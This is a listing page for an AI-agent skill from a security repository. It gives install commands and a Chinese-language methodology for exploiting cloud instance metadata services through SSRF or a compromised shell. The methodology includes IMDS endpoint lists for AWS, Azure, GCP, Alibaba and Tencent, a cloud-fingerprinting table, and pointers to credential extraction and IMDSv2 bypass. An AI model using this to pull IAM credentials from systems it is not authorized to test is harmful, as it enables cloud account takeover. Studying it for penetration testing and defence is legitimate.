# Cloud Metadata

云元数据利用。当通过 SSRF 或已获取的 shell 可以访问云实例元数据服务时使用。覆盖 AWS/Azure/GCP/阿里云/腾讯云的元数据端点、IAM/CAM...

- Repository: https://github.com/wgpsec/AboutSecurity (1833 stars)
- Category: DevOps
- License: see repository
- Last updated: 2026-10-24
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add wgpsec/AboutSecurity --skill cloud-metadata -g -a claude-code -y`
Codex: `npx skills add wgpsec/AboutSecurity --skill cloud-metadata -g -a codex -y`
Cursor: `npx skills add wgpsec/AboutSecurity --skill cloud-metadata -g -a cursor -y`
Gemini CLI: `npx skills add wgpsec/AboutSecurity --skill cloud-metadata -g -a gemini-cli -y`

## Description

云元数据利用。当通过 SSRF 或已获取的 shell 可以访问云实例元数据服务时使用。覆盖 AWS/Azure/GCP/阿里云/腾讯云的元数据端点、IAM/CAM 凭据提取、IMDSv2 绕过、从元数据到云服务枚举的完整攻击链。发现任何 SSRF 场景、内网可访问 169.254.169.254 或 100.100.100.200 的场景都应使用此技能

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# 云元数据利用方法论

IMDS 是从 SSRF/RCE 到云控制面的桥梁, , 一个 HTTP 请求就能获取 IAM/CAM 临时凭据。

## ⛔ 深入参考（必读）

- 各云平台凭据提取详细命令、AWS/腾讯云快速利用、元数据信息路径 → [references/credential-extraction.md](references/credential-extraction.md)

---

## Phase 1: 确认云环境

| 线索 | 云平台 |
|------|--------|
| `x-amz-*` Header, `Server: AmazonS3` | AWS |
| `x-ms-*` Header, `.azurewebsites.net` | Azure |
| `.googleapis.com`, `x-goog-*` Header | GCP |
| `.aliyuncs.com`, `x-oss-*` Header | 阿里云 |
| `.myqcloud.com`, `x-cos-*` Header, `Server: tencent-cos` | 腾讯云 |

## Phase 2: 元数据端点速查

```
# AWS (IMDSv1, 直接 GET)
http://169.254.169.254/latest/meta-data/

# AWS (IMDSv2, 需要 PUT 获取 Token)
PUT http://169.254.169.254/latest/api/token
  Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
  Header: Metadata: true

# GCP
http://metadata.google.internal/computeMetadata/v1/
  Header: Metadata-Flavor: Google

# 阿里云
http://100.100.100.200/latest/meta-data/

# 腾讯云（CVM/轻量应用服务器/Lighthouse）
http://metadata.tencentyun.com/latest/meta-data/
# 也可通过 IP 访问
http://169.254.0.23/latest/meta-data/
```

### 腾讯云元数据完整路径

```
# 基础信息
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/instance-type

# 区域信息
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone

The rest: https://github.com/wgpsec/AboutSecurity/blob/HEAD/skills/cloud/cloud-metadata/SKILL.md